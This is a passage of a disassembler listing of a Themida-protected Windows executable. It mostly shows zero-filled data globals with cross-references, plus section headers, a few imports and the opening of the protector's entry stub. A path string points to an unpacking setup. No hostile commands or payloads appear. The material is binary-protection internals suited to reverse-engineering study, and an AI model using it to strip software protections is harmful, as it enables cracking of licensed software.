sub_4010B5:loc_4013E0r ; sub_401A76:loc_401D1Cr ... dword_43ACFC dd 0 ; DATA XREF: sub_4085B3+207r ; sub_40981F+496w dword_43AD00 dd 0 ; DATA XREF: sub_40981F+9C7w ; sub_40981F+A20r ... dword_43AD04 dd 0 ; DATA XREF: sub_40981F+2B2w ; sub_40981F+2DEr ... dword_43AD08 dd 0 ; DATA XREF: sub_40981F+7Fw ; sub_40981F+DAr ... dword_43AD0C dd 0 ; DATA XREF: sub_40981F+B6Ew ; sub_40981F+B75r ... dword_43AD10 dd 0 ; DATA XREF: sub_4010B5+2Fr ; sub_401A76+2Fr ... dword_43AD14 dd 0 ; DATA XREF: sub_40981F+807w ; sub_40981F+872r ... dword_43AD18 dd 0 ; DATA XREF: sub_40981F+986w ; sub_40981F+9F8r dword_43AD1C dd 0 ; DATA XREF: sub_40981F+BDFw ; sub_40981F+C10r dword_43AD20 dd 0 ; DATA XREF: sub_4023A7+40r ; sub_4023A7+63r ... dword_43AD24 dd 0 ; DATA XREF: sub_40981F+8FCw ; sub_40981F+910r ... dword_43AD28 dd 0 ; DATA XREF: sub_40981F+BF9w dword_43AD2C dd 0 ; DATA XREF: sub_4010B5:loc_4013AAr ; sub_40144A+3Cr ... dword_43AD30 dd 0 ; DATA XREF: sub_40981F+821w ; sub_40981F+855r dword_43AD34 dd 0 ; DATA XREF: sub_4023A7+50r ; sub_4023A7+78r ... dword_43AD38 dd 0 ; DATA XREF: sub_4087EE+3Fr ; sub_4087EE+69r ... dword_43AD3C dd 0 ; DATA XREF: sub_40981F+65Aw ; sub_40981F+786r ... dword_43AD40 dd 0 ; DATA XREF: sub_402DD7+20Ar ; sub_4030E8+5Er ... dword_43AD44 dd 0 ; DATA XREF: sub_402688+16Er ; sub_40981F+549w ... dword_43AD48 dd 0 ; DATA XREF: sub_40981F+8BDw ; sub_40981F:loc_40A0FAw ... dword_43AD4C dd 0 ; DATA XREF: sub_40981F+28Bw ; sub_40981F+2C6r ... dword_43AD50 dd 0 ; DATA XREF: ___:00407DFEr ; sub_40981F+681w ... dword_43AD54 dd 0 ; DATA XREF: sub_40981F+30Fw ; sub_40981F+323r ... dword_43AD58 dd 0 ; DATA XREF: sub_40981F+395w ; sub_40981F+3D1r ... dword_43AD5C dd 0 ; DATA XREF: sub_40981F+BD2w ; sub_40981F+C08r dword_43AD60 dd 0 ; DATA XREF: sub_40981F+7FAw ; sub_40981F+86Ar ... dword_43AD64 dd 0 ; DATA XREF: sub_4023A7+FCr ; sub_40981F+206w ... dword_43AD68 dd 0 ; DATA XREF: sub_40981F+18Cw ; sub_40981F+1D2r ... dword_43AD6C dd 0 ; DATA XREF: sub_40981F+814w ; sub_40981F+87Ar ... dword_43AD70 dd 0 ; DATA XREF: sub_406C19+244r ; sub_40981F+606w ... dword_43AD74 dd 0 ; DATA XREF: sub_408C26+18Ar ; sub_40981F+2BFw ... dword_43AD78 dd 0 ; DATA XREF: sub_4010B5+6Fr ; sub_40144A+AAr ... dword_43AD7C dd 0 ; DATA XREF: sub_40981F+302w ; sub_40981F+316r ... dword_43AD80 dd 0 ; DATA XREF: sub_405AF2+F9r ; sub_406C19+1FCr ... dword_43AD84 dd 0 ; DATA XREF: sub_4085B3+16r ; sub_40981F+42Ew ... dword_43AD88 dd 0 ; DATA XREF: sub_40981F+199w ; sub_40981F+1DAr ... dword_43AD8C dd 0 ; DATA XREF: sub_40981F+347w ; sub_40981F+39Cr ... dword_43AD90 dd 0 ; DATA XREF: sub_40981F+A73w dword_43AD94 dd 0 ; DATA XREF: sub_4010B5+EBr ; sub_4010B5+1F9r ... dword_43AD98 dd 0 ; DATA XREF: sub_4010B5+87r ; sub_4010B5+9Dr ... dword_43AD9C dd 0 ; DATA XREF: sub_40981F+4Bw ; sub_40981F+C2r ... dword_43ADA0 dd 0 ; DATA XREF: sub_4085B3+2Cr ; sub_4085B3+38r ... dword_43ADA4 dd 0 ; DATA XREF: sub_40981F+165w ; sub_40981F+1BAr ... dword_43ADA8 dd 0 ; DATA XREF: sub_40981F+9E1w ; sub_40E5EB+72r dword_43ADAC dd 0 ; DATA XREF: sub_40981F+667w ; sub_40981F+78Er dword_43ADB0 dd 0 ; DATA XREF: sub_402688+205r ; sub_402DD7+23Br ... dword_43ADB4 dd 0 ; DATA XREF: sub_40981F+BECw ; sub_40981F+C18r dword_43ADB8 dd 0 ; DATA XREF: sub_40981F+3Ew ; sub_40981F+BAr ... dword_43ADBC dd 0 ; DATA XREF: sub_40981F+298w ; sub_40981F+2CEr ... dword_43ADC0 dd 0 ; DATA XREF: sub_405AF2+9Er ; sub_407BDE+9Cr ... dword_43ADC4 dd 0 ; DATA XREF: sub_402688+EBr ; sub_405AF2+89r ... dword_43ADC8 dd 0 ; DATA XREF: sub_40981F+C63w ; sub_40EE72+4624r dword_43ADCC dd 0 ; DATA XREF: sub_40981F+85Bw ; sub_40BC4B+205r ... dword_43ADD0 dd 0 ; DATA XREF: sub_40981F+112w dword_43ADD4 dd 0 ; DATA XREF: sub_40981F+BB8w ; sub_40981F+BF3r dword_43ADD8 dd 0 ; DATA XREF: sub_40144A+119r ; sub_40144A+1A0r ... dword_43ADDC dd 0 ; DATA XREF: sub_4085B3+BCr ; sub_40981F+43Bw ... dword_43ADE0 dd 0 ; DATA XREF: sub_4085B3+FBr ; sub_40981F+47Cw ... dword_43ADE4 dd 0 ; DATA XREF: sub_4085B3+65r ; sub_40981F+448w ... dword_43ADE8 dd 0 ; DATA XREF: sub_402DD7+221r ; sub_402DD7+249r ... dword_43ADEC dd 0 ; DATA XREF: sub_40981F+1A6w ; sub_40981F+1E2r ... dword_43ADF0 dd 0 ; DATA XREF: sub_40981F+9D4w ; sub_40981F+A28r ... dword_43ADF4 dd 0 ; DATA XREF: sub_4087EE+53r ; sub_4087EE+7Fr ... dword_43ADF8 dd 0 ; DATA XREF: sub_40981F+8Cw ; sub_40981F+E2r ... dword_43ADFC dd 0 ; DATA XREF: sub_4010B5+2C2r ; sub_40144A+2DAr ... dword_43AE00 dd 0 ; DATA XREF: sub_40981F+B14w ; sub_40981F+B30r dword_43AE04 dd 0 ; DATA XREF: sub_40981F+31Cw ; sub_41511F+55r dword_43AE08 dd 0 ; DATA XREF: sub_408C26+3Fr ; sub_40981F+27Ew ... dword_43AE0C dd 0 ; DATA XREF: sub_40981F+B7Bw dword_43AE10 dd 0 ; DATA XREF: sub_40981F+ABDw ; sub_40AE02+CEr dword_43AE14 dd 0 ; DATA XREF: sub_40981F+AB0w ; sub_40981F+AB7r ... dword_43AE18 dd 0 ; DATA XREF: sub_40144A+2Er ; sub_401D82+55r ... dword_43AE1C dd 0 ; DATA XREF: ___:00407DEEr ; sub_40981F+674w ... dword_43AE20 dd 0 ; DATA XREF: sub_40981F+BC5w ; sub_40981F+C00r dword_43AE24 dd 0 ; DATA XREF: sub_402688+28Dr ; sub_406C19+250r ... dword_43AE28 dd 0 ; DATA XREF: sub_40981F+993w ; sub_40981F+A00r ... dword_43AE2C dd 0 ; DATA XREF: sub_405AF2+13Ar ; sub_407BDE+B3r ... dword_43AE30 dd 0 ; DATA XREF: sub_4010B5+324r ; sub_40144A+2F0r ... dword_43AE34 dd 0 ; DATA XREF: sub_405AF2+B7r ; sub_405AF2+39Fr ... dword_43AE38 dd 0 ; DATA XREF: sub_4029E9+B0r ; sub_4029E9+C8r ... dword_43AE3C dd 0 ; DATA XREF: sub_4010B5+4Fr ; sub_401A76+4Fr ... dword_43AE40 dd 0 ; DATA XREF: sub_40981F+AFAw ; sub_40981F+B1Br dword_43AE44 dd 0 ; DATA XREF: sub_40981F+31w ; sub_40981F+ADr ... dword_43AE48 dd 0 ; DATA XREF: sub_4087EE+1ECr ; sub_4089E7+232r ... align 10h dword_43AE50 dd 0 ; DATA XREF: sub_40981F+909w ; sub_40981F+91Dr ... dword_43AE54 dd 0 ; DATA XREF: sub_40981F+99w ; sub_40981F+EAr ... dword_43AE58 dd 0 ; DATA XREF: sub_40981F:loc_40991Dw ; sub_40981F+12Bw ... dword_43AE5C dd 0 ; DATA XREF: sub_40981F+126w ; sub_40A4AC+1Cr dword_43AE60 dd 0 ; DATA XREF: sub_40981F:loc_409A0Dw ; sub_40981F:loc_409A74w ... dword_43AE64 dd 0 ; DATA XREF: sub_40981F+250w ; sub_40A4AC+50r dword_43AE68 dd 0 ; DATA XREF: sub_40981F:loc_409B09w ; sub_40981F:loc_409B4Ew ... dword_43AE6C dd 0 ; DATA XREF: sub_40981F+400w ; sub_40A4AC+84r dword_43AE70 dd 0 ; DATA XREF: sub_40981F:loc_409D05w ; sub_40A4AC:loc_40A55Cr dword_43AE74 dd 0 ; DATA XREF: sub_40981F+4E1w ; sub_40A4AC+B8r dword_43AE78 dd 0 ; DATA XREF: sub_40981F:loc_409FD6w ; sub_40A4AC:loc_40A590r dword_43AE7C dd 0 ; DATA XREF: sub_40981F+7B2w ; sub_40A4AC+ECr dword_43AE80 dd 0 ; DATA XREF: sub_40981F:loc_40A0C1w ; sub_40981F+8D1w ... dword_43AE84 dd 0 ; DATA XREF: sub_40981F+8CCw ; sub_40A4AC+120r dword_43AE88 dd 0 ; DATA XREF: sub_40981F:loc_40A155w ; sub_40A4AC:loc_40A5F8r ... dword_43AE8C dd 0 ; DATA XREF: sub_40981F+931w ; sub_40A4AC+154r dword_43AE90 dd 0 ; DATA XREF: sub_40981F:loc_40A260w ; sub_40A4AC:loc_40A62Cr ... dword_43AE94 dd 0 ; DATA XREF: sub_40981F+A3Cw ; sub_40A4AC+188r dword_43AE98 dd 0 ; DATA XREF: sub_40981F:loc_40A2AAw ; sub_40A4AC:loc_40A660r dword_43AE9C dd 0 ; DATA XREF: sub_40981F+A86w ; sub_40A4AC+1BCr dword_43AEA0 dd 0 ; DATA XREF: sub_40981F:loc_40A2F4w ; sub_40A4AC:loc_40A694r dword_43AEA4 dd 0 ; DATA XREF: sub_40981F+AD0w ; sub_40A4AC+1F0r dword_43AEA8 dd 0 ; DATA XREF: sub_40981F:loc_40A368w ; sub_40A4AC:loc_40A6C8r dword_43AEAC dd 0 ; DATA XREF: sub_40981F+B44w ; sub_40A4AC+224r dword_43AEB0 dd 0 ; DATA XREF: sub_40981F:loc_40A3B2w ; sub_40A4AC:loc_40A6FCr dword_43AEB4 dd 0 ; DATA XREF: sub_40981F+B8Ew ; sub_40A4AC+258r dword_43AEB8 dd 0 ; DATA XREF: sub_40981F:loc_40A450w ; sub_40A4AC:loc_40A730r dword_43AEBC dd 0 ; DATA XREF: sub_40981F+C2Cw ; sub_40A4AC+28Cr dword_43AEC0 dd 0 ; DATA XREF: sub_40981F:loc_40A49Aw ; sub_40A4AC:loc_40A764r dword_43AEC4 dd 0 ; DATA XREF: sub_40981F+C76w ; sub_40A4AC+2C0r dword_43AEC8 dd 81h dup(0) ; DATA XREF: sub_40AA35+6Ao dword_43B0CC dd 5 dup(0) ; DATA XREF: sub_40AEE0+32o dword_43B0E0 dd 0 ; DATA XREF: sub_40B328:loc_40B349r ; sub_40B417+54r ... dword_43B0E4 dd 0 ; DATA XREF: sub_40B328r ; sub_40B417+37r ... dword_43B0E8 dd 0 ; DATA XREF: sub_40B358+1Ar ; sub_40B56C+83o dword_43B0EC dd 0 ; DATA XREF: sub_40B328:loc_40B33Cr ; sub_40B56C+11Bw dword_43B0F0 dd 0Dh dup(0) ; DATA XREF: sub_40B417+13o ; sub_40B56C:loc_40B6A9o dword_43B124 dd 0 ; DATA XREF: sub_40B417+CDr ; sub_40B417+ECr ... dd 0 dword_43B12C dd 0Eh dup(0) ; DATA XREF: sub_40B721+47o dword_43B164 dd 1000h dup(0) ; DATA XREF: sub_40BF6D+1Do ; sub_40C00Do ... dword_43F164 dd 0 ; DATA XREF: sub_40BF6D+13o ; sub_40C00D+Eo ... dword_43F168 dd 0Eh dup(0) ; DATA XREF: sub_40D01A+Fo dword_43F1A0 dd 2 dup(0) ; DATA XREF: sub_40D3A5+C8o dword_43F1A8 dd 17h dup(0) ; DATA XREF: sub_40D835:loc_40D952o ; sub_40D835+131o ... dword_43F204 dd 80h dup(0) ; DATA XREF: sub_40E5EB+7Co ; sub_40E5EB+A5o dword_43F404 dd 0 ; DATA XREF: sub_40DBB0+45w ; sub_40DBB0+4Dr ... dword_43F408 dd 17h dup(0) ; DATA XREF: sub_40E4B7:loc_40E5D9o ; sub_40E4B7+12Do dword_43F464 dd 80h dup(0) ; DATA XREF: sub_40DAF0+4Co ; sub_40DAF0+7Eo ... byte_43F664 db 0 ; DATA XREF: sub_40DBB0+29r ; sub_40DBB0+34w align 4 dword_43F668 dd 80h dup(0) ; DATA XREF: sub_40DE07+61o ; sub_40DE07+89o ... dword_43F868 dd 82h dup(0) ; DATA XREF: sub_40D719:loc_40D751o ; sub_40D719+5Bo dword_43FA70 dd 0 ; DATA XREF: sub_40BE75+Ao ; sub_40BE75+44r ... dd 5 dup(0) dword_43FA88 dd 0 ; DATA XREF: sub_40BE75+60r ; sub_40EE72+BD6r dd 2D9h dup(0) dword_4405F0 dd 0 ; DATA XREF: sub_407767+A8r ; sub_40BE75+2Do ... dd 7Fh dup(0) dword_4407F0 dd 0 ; DATA XREF: sub_416D5C+41w ; sub_416E97+40w ... dword_4407F4 dd 0 ; DATA XREF: sub_4060D0+23Bw ; sub_407767:loc_4077AEr ... dword_4407F8 dd 0 ; DATA XREF: sub_40B56C+164w ; sub_416810+AEw ... dword_4407FC dd 0 ; DATA XREF: sub_402688+E0w ; sub_405AF2+7Ew ... dword_440800 dd 0 ; DATA XREF: ___:00407E84w ; ___:00407FA0r ... dword_440804 dd 0 ; DATA XREF: sub_4060D0+268w ; sub_407252+122w ... byte_440808 db 0 ; DATA XREF: sub_40EB92+91o ; sub_40EE72+3357r ... align 4 dd 13D1h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:off_42A2D0o db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:0042CCA8o dd 10003h dup(0) dword_49005C dd 4F58h dup(0) ; DATA XREF: ___:off_427B6Co db 2 dup(0) word_4A3DBE dw 0 ; DATA XREF: Themida_:0055108Ao dd 0A60Ch dup(0) dword_4CD5F0 dd 0 ; DATA XREF: sub_407110:loc_40717Er ; ___:0040E6E3w ... align 8 dword_4CD5F8 dd 0 ; DATA XREF: ___:loc_40EAA4o dword_4CD5FC dd 20h dup(0) ; DATA XREF: ___:0040EA3Co ; ___:0040EAF5o ... dword_4CD67C dd 10h dup(0) ; DATA XREF: ___:0040EA53o ; sub_40EE72+929o dword_4CD6BC dd 24h dup(0) ; DATA XREF: ___:0040EA6Ao dword_4CD74C dd 0 ; DATA XREF: ___:0040EA5Ew ; ___:0040EB0Cw ... dword_4CD750 dd 0 ; DATA XREF: ___:0040EA7Dw align 10h dword_4CD760 dd 0 ; DATA XREF: sub_40EB92+72r ; sub_40EE72+273r align 8 byte_4CD768 db 0 ; DATA XREF: sub_40ECFA+28r ; sub_40ECFA+30o align 4 dword_4CD76C dd 0 ; DATA XREF: ___:0040EAA9w ; ___:0040EAC0r ... dword_4CD770 dd 0 ; DATA XREF: ___:0040EA41w ; sub_40EE72+8CAr dd 2 dup(0) dword_4CD77C dd 0 ; DATA XREF: ___:004155C6r dd 0 dword_4CD784 dd 1Bh dup(0) ; DATA XREF: sub_415D6A+8Do dword_4CD7F0 dd 0 ; DATA XREF: sub_416FA4+16o ; sub_416FC3+19o dword_4CD7F4 dd 65h dup(0) ; DATA XREF: sub_416F57+3Do byte_4CD988 db 0 ; DATA XREF: sub_416C55+6Ar ; sub_416C55+98w align 4 dd 2 dup(0) dword_4CD994 dd 0 ; DATA XREF: sub_417D73+Aw dword_4CD998 dd 0 ; DATA XREF: sub_4186B1+5Er ; sub_4186B1+A4w align 10h word_4CD9A0 dw 0 ; DATA XREF: sub_4186B1+55r ; sub_4186B1+9Ao word_4CD9A2 dw 0 ; DATA XREF: sub_4186B1+48r db 2 dup(0) word_4CD9A6 dw 0 ; DATA XREF: sub_4186B1+3Br word_4CD9A8 dw 0 ; DATA XREF: sub_4186B1+2Er word_4CD9AA dw 0 ; DATA XREF: sub_4186B1+21r align 10h dword_4CD9B0 dd 0 ; DATA XREF: sub_418B6E+3Br ; sub_418B6E+91w dword_4CD9B4 dd 0 ; DATA XREF: sub_418833+1B9w ; sub_418D0E:loc_418D8Aw ... dword_4CD9B8 dd 0 ; DATA XREF: sub_4197F9+35w ; sub_41A6B7:loc_41A751w ... dword_4CD9BC dd 0 ; DATA XREF: sub_41FEC6+13Ar dd 0A28h, 501h, 5, 1 dword_4CD9D0 dd 1 ; DATA XREF: ___:loc_40E98Cr ; ___:0041F2D1w dword_4CD9D4 dd 2420B30h ; DATA XREF: ___:0040E995r ; ___:0040E9B5r ... dd 0 dword_4CD9DC dd 2420B58h ; DATA XREF: ___:0041F1CBw ; sub_421DAE+9r ... dword_4CD9E0 dd 0 ; DATA XREF: sub_422492+36r dword_4CD9E4 dd 0 ; DATA XREF: sub_421DAE+16r ; sub_42217C+4r ... dd 0 off_4CD9EC dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4CD9F4 db 0 ; DATA XREF: sub_419B07+2Dw ; sub_41FAE7+5r align 4 dword_4CD9F8 dd 0 ; DATA XREF: sub_419B07+27w dword_4CD9FC dd 0 ; DATA XREF: sub_419B07+4r ; sub_419B07+8Bw dword_4CDA00 dd 0 ; DATA XREF: ___:loc_41F199r ; ___:loc_41F1DBr ... align 8 dword_4CDA08 dd 0 ; DATA XREF: sub_419CDAr sub_41F84Cr ... dword_4CDA0C dd 0 ; DATA XREF: sub_41A8A2+37r dd 0 dword_4CDA14 dd 0 ; DATA XREF: sub_417B89r ; sub_41944F:loc_41956Br ... dword_4CDA18 dd 0 ; DATA XREF: sub_41AB54r dword_4CDA1C dd 0 ; DATA XREF: sub_41BA22+4Bw ; sub_41BB3B+2Dw ... dword_4CDA20 dd 0 ; DATA XREF: sub_41C96D+11r ; sub_41CA71+1Ar ... byte_4CDA24 db 0 ; DATA XREF: sub_41C96D+3r ; sub_41C96D+98r ... align 4 dword_4CDA28 dd 0 ; DATA XREF: sub_41CA71+11r ; sub_41CB4F+21w ... byte_4CDA2C db 0 ; DATA XREF: sub_41CB4F+51w align 10h dword_4CDA30 dd 0 ; DATA XREF: sub_41CD45+4Er ; sub_41D120+3Ar ... dword_4CDA34 dd 0 ; DATA XREF: sub_41CD45+5Cr ; sub_41D120+43r ... dword_4CDA38 dd 0 ; DATA XREF: sub_417FFA+7Ar ; sub_41CEEC+5r dword_4CDA3C dd 0 ; DATA XREF: sub_41D4FC+29r dword_4CDA40 dd 2 dup(0) ; DATA XREF: sub_418790+Co dword_4CDA48 dd 0 ; DATA XREF: sub_419063+4r ; sub_419063+6Er ... dd 3 dup(0) dword_4CDA58 dd 0 ; DATA XREF: sub_4199B9+61r ; sub_4199B9+BFr ... align 10h dword_4CDA60 dd 1 ; DATA XREF: sub_41E709+28r ; sub_41E709+4Cw ... dword_4CDA64 dd 1 ; DATA XREF: sub_41E92D:loc_41EAA8r ; sub_41EAC6+4w ... dword_4CDA68 dd 0 ; DATA XREF: ___:0041EFE5r ; ___:0041EFF1w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o ; ___:off_4CD9ECo align 4 dd 3Ah dup(0) dword_4CDB70 dd 1 ; DATA XREF: ___:0041F48Fr ; ___:0041F4B0w ... dword_4CDB74 dd 0 ; DATA XREF: sub_41F84C+21r dword_4CDB78 dd 0 ; DATA XREF: sub_41A8A2:loc_41A8CBw ; sub_41A96C+154w ... dword_4CDB7C dd 1 ; DATA XREF: sub_41FB63+26r ; sub_41FB63:loc_41FBCDw dword_4CDB80 dd 0 ; DATA XREF: sub_41A96C+7r align 8 word_4CDB88 dw 0 ; DATA XREF: sub_42074B+1Ao ; sub_42074B+46r byte_4CDB8A db 0 ; DATA XREF: sub_42074B+39r align 4 dword_4CDB8C dd 7 dup(0) ; DATA XREF: sub_42074B+52o dword_4CDBA8 dd 0 ; DATA XREF: sub_42074B+40w ; sub_42074B+5Co dword_4CDBAC dd 0 ; DATA XREF: sub_42074B+4Dw dword_4CDBB0 dd 0 ; DATA XREF: sub_42074B+31w dword_4CDBB4 dd 0 ; DATA XREF: sub_42074B+52w dword_4CDBB8 dd 77C26E79h ; DATA XREF: sub_42086E:loc_420891r ; sub_42086E+38r align 10h dword_4CDBC0 dd 0 ; DATA XREF: sub_42094E+11w ; sub_42094E+63w ... align 8 dword_4CDBC8 dd 0 ; DATA XREF: sub_42094E+33o ; sub_42094E+46r dword_4CDBCC dd 10h dup(0) ; DATA XREF: sub_42094E+C1o word_4CDC0C dw 0 ; DATA XREF: sub_420BAC+A8r word_4CDC0E dw 0 ; DATA XREF: sub_42094E+54r ; sub_420BAC+DBr ... word_4CDC10 dw 0 ; DATA XREF: sub_420BAC+CAr word_4CDC12 dw 0 ; DATA XREF: sub_420BAC+D3r ; sub_420BAC:loc_420C9Er word_4CDC14 dw 0 ; DATA XREF: sub_420BAC+C0r word_4CDC16 dw 0 ; DATA XREF: sub_420BAC+B8r word_4CDC18 dw 0 ; DATA XREF: sub_420BAC+B0r word_4CDC1A dw 0 ; DATA XREF: sub_420BAC+9Er dword_4CDC1C dd 0 ; DATA XREF: sub_42094E+4Br dword_4CDC20 dd 10h dup(0) ; DATA XREF: sub_42094E+FBo word_4CDC60 dw 0 ; DATA XREF: sub_420BAC+46r word_4CDC62 dw 0 ; DATA XREF: sub_42094E:loc_4209C5r ; sub_420BAC+78r ... word_4CDC64 dw 0 ; DATA XREF: sub_420BAC+67r word_4CDC66 dw 0 ; DATA XREF: sub_420BAC+70r ; sub_420BAC:loc_420C30r word_4CDC68 dw 0 ; DATA XREF: sub_420BAC+5Dr word_4CDC6A dw 0 ; DATA XREF: sub_420BAC+55r word_4CDC6C dw 0 ; DATA XREF: sub_420BAC+4Dr word_4CDC6E dw 0 ; DATA XREF: sub_420BAC+3Er dword_4CDC70 dd 0 ; DATA XREF: sub_42094E+80r dword_4CDC74 dd 0 ; DATA XREF: sub_42094E+132r ; sub_42094E:loc_420A9Ar ... dword_4CDC78 dd 0 ; DATA XREF: sub_420939r sub_420939+Ew dword_4CDC7C dd 0 ; DATA XREF: sub_42105F+3r ; sub_42105F+2Ew ... dword_4CDC80 dd 0 ; DATA XREF: sub_42105F+43w ; sub_42105F:loc_4210AEr dword_4CDC84 dd 0 ; DATA XREF: sub_42105F+4Aw ; sub_42105F+60r dword_4CDC88 dd 0 ; DATA XREF: sub_41FEC6+3Fr dword_4CDC8C dd 0 ; DATA XREF: sub_421C3C:loc_421CA3r ; sub_421C3C+6Do dword_4CDC90 dd 0 ; DATA XREF: sub_421C3C:loc_421C7Ar ; sub_421C3C+44o dword_4CDC94 dd 0 ; DATA XREF: sub_421C3C:loc_421C6Dr ; sub_421C3C+37o dword_4CDC98 dd 0 ; DATA XREF: sub_421C3C:loc_421C87r ; sub_421C3C+51o align 10h dword_4CDCA0 dd 0 ; DATA XREF: sub_4221EA+28r ; sub_4221EA+48w ... dword_4CDCA4 dd 0 ; DATA XREF: sub_422C78+28r ; sub_422C78+4Cw ... dword_4CDCA8 dd 0 ; DATA XREF: sub_422F03+26r ; sub_422F03:loc_422F6Dw byte_4CDCAC db 0 ; DATA XREF: sub_40482Cr sub_40482C+9w align 10h dword_4CDCB0 dd 2421140h ; DATA XREF: sub_41A835:loc_41A846r ; sub_41AADC+14r ... align 10h dword_4CDCC0 dd 400h dup(0) ; DATA XREF: ___:off_436388o ; ___:00436390o dword_4CECC0 dd 200h ; DATA XREF: sub_41A835+9r ; sub_41A835+56r ... dd 7 dup(0) dword_4CECE0 dd 2420650h ; DATA XREF: sub_419D23+B1r ; sub_41E248+75r ... dword_4CECE4 dd 3Fh dup(0) ; DATA XREF: ___:0041F651o dword_4CEDE0 dd 20h ; DATA XREF: sub_41A6B7+8r ; sub_41E321+Cr ... dword_4CEDE4 dd 4E4h ; DATA XREF: sub_41E92D+14r ; sub_41E92D+65w ... align 10h dword_4CEDF0 dd 3 dup(0) ; DATA XREF: sub_41E92D+123o ; sub_41E92D+171o ... dword_4CEDFC dd 0 ; DATA XREF: sub_41E92D+108w ; sub_41E92D+15Dw ... byte_4CEE00 db 0 ; DATA XREF: sub_41EB6C:loc_41EC78w ; sub_41EB6C:loc_41EC95w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4CEF00 db 0 ; DATA XREF: sub_41E92D+5Co ; sub_41E92D+AFo ... byte_4CEF01 db 0 ; DATA XREF: sub_4192B8+5Dr ; sub_41E92D+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4CF004 dd 0 ; DATA XREF: sub_41E92D+6Ew ; sub_41E92D+12Bw ... dword_4CF008 dd 0 ; DATA XREF: sub_41B3E6+5r ; sub_41B3E6+32w dword_4CF00C dd 0 ; DATA XREF: sub_41ADB4+23Ar ; sub_41ADB4+25Ar ... dword_4CF010 dd 0 ; DATA XREF: sub_41ADB4+311w ; sub_41B0DD:loc_41B12Dr ... dword_4CF014 dd 0 ; DATA XREF: sub_41ADB4+22Dr ; sub_41ADB4+260r ... dword_4CF018 dd 0 ; DATA XREF: sub_41AD89r ; sub_41ADB4+2CBr ... dword_4CF01C dd 0 ; DATA XREF: sub_41AD89+8r ; sub_41ADB4+2D0r ... dword_4CF020 dd 0 ; DATA XREF: sub_417BC7+Fr ; sub_41944F+5Cr ... dword_4CF024 dd 2420000h ; DATA XREF: sub_417BC7+66r ; sub_417C3B+5Ar ... dword_4CF028 dd 1 ; DATA XREF: sub_417BC7r sub_417C3B+Cr ... dword_4CF02C dd 142340h ; DATA XREF: ___:0041F13Er ; ___:0041F269r dword_4CF030 dd 1 ; DATA XREF: ___:0041F234w sub_421DAEr dword_4CF034 dd 1 ; DATA XREF: sub_41ECF1r ; sub_41ECF1+11w ... dword_4CF038 dd 2420758h ; DATA XREF: sub_418603+13r ; sub_418603:loc_418645r ... dword_4CF03C dd 2420758h ; DATA XREF: sub_418603+1r ; sub_418603+Cr ... dd 3F0h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000D1000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000D1000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4D1000h align 2000h _rsrc___ ends ; Section 3. (virtual address 000D2000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000D2000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4D2000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0D2050h, 0D2000h, 3 dup(0) dd 0D2079h, 0D200Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000D3000) ; Virtual size : 000DA000 ( 892928.) ; Section size in file : 000DA000 ( 892928.) ; Offset to raw data for section: 000D3000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4D3000h dd 6EE719EFh, 4C105h, 5FEC9h, 98172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004D3265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0052D4F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00530856 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 00530ACC SIZE 00000059 BYTES mov eax, 0 pusha or eax, eax jz short loc_4D3086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4D3041 popa jmp short loc_4D3076 ; --------------------------------------------------------------------------- a70m db 'Û-70M',0 db 0FFh dd 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4D3041: ; CODE XREF: start+18j call $+5 pop eax and 